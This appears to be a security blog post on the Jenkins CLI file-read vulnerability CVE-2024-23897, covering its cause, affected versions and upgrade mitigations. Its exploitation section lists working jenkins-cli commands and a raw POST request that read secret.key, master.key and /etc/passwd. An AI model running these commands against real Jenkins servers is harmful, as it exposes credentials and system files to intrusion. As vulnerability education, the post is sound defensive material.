In the Crosshairs: Understanding CVE-2024-23897's Technical Implications

July 1, 2024

Jenkins is an open-source automation server widely used for continuous integration and continuous delivery (CI/CD) pipelines, on 24th January this year it was first known to be affected by a critical vulnerability allowing malicious users to read arbitrary files and potential remote code execution too. In this blog post, we delve into the intricacies of this vulnerability, exploring its impact, potential exploits, and mitigation strategies. Whether you’re a developer, system administrator, or security enthusiast, understanding this flaw is crucial for safeguarding your Jenkins deployments. Let’s unravel the mystery behind CVE-2024–23897, which has a CVSS score of 9.8, and fortify our defenses against potential attacks.

What is Jenkins?

Jenkins is a popular open-source automation server for pipelines that combine continuous integration and delivery (CI/CD). It gives programmers a platform to automate software project development, testing, and deployment. Fundamentally, Jenkins enables developers to expedite the delivery of high-caliber software by automating repetitive operations across the software development lifecycle. Jenkins may assist in streamlining your development process, regardless of the size of the project from small-scale projects to massive corporate applications.

In short, Jenkins empowers development teams to automate and optimize their workflows, leading to increased productivity, faster time to market, and improved software quality. Whether you're a seasoned DevOps practitioner or just getting started with automation, Jenkins is a valuable tool in your toolkit.

Jenkins versions up to 2.441 and LTS (Long-Term Support) versions up to 2.426.2 are affected by this vulnerability.

Technical Details of the CVE

Jenkins comes with an integrated Command-Line Interface (CLI) to enable interaction from script or shell environments.This CLI utilizes the args4j library to parse command arguments and parameters on the Jenkins controller during CLI command processing.

A feature in args4j that substitutes a file path followed by a "@" character with the contents of the file originally designed to improve usability has turned into a serious security vulnerability. Versions 2.441 and LTS 2.426.2 have this functionality enabled by default and are not checked. By taking advantage of this flaw, attackers can use the Jenkins controller process's default character encoding to access any file on the file system. Arguments prefixed with "@" in the Jenkins CLI tool are misinterpreted as files that must be opened in order to access the arguments. Under some circumstances, the CLI user receives lines from these files that are accidentally included in error messages. Here is the vulnerable code from Args4j:

Two Jenkins configuration choices allow attackers without authentication to impersonate legitimate users, which presents serious security vulnerabilities. The first option allows anybody with access to a Jenkins instance to create an account: "Allow users to register." Furthermore, when these settings are activated, any Jenkins user may access and read the whole contents of any file on the Jenkins server. This is made possible by the "Enable anonymous read permission" option, which allows global read permissions.

Exploitation

When you encounter a jenkins instance running on your target, the first thing would be confirm that the version is vulnerable, you can check the version with a simple HTTP request to jenkins instance using curl as shown below:

For demo, a jenkins instance is running on a local environment, and as you can see in the above image the version is 2.441 which is vulnerable. Now follow the below steps for exploitation:

  • That’s it, now you can use the cli client to read files using below commands:

# reading secret.key file
java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secret.key"

# reading master.key file
java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secrets/master.key"

# reading /etc/passwd
java -jar jenkins-cli.jar -s http://localhost:8080/ -http connect-node "@/etc/passwd"

  • Using the above commands you can read some internal and secret files which would suffice as PoC anywhere.
  • Apart from the cli, this vulnerability can also be exploited by send post requests:

POST /cli?remoting=false HTTP/1.1
Host: localhost:8080
.
.
Side: (upload/download)
.
... help 1 @/etc/passwd
  • There are publicly available exploits for this CVE such as: CVE-2024-23897.py which can be used to perform this POST request based attack.

Mitigation

  • Upgrade Jenkins to latest versions, i.e. 2.442 and LTS 2.426.3
  • Disable access to CLI if not able to upgrade to the latest version.
  • Use firewalls, intrusion detection systems and look out for indicators of compromise.

References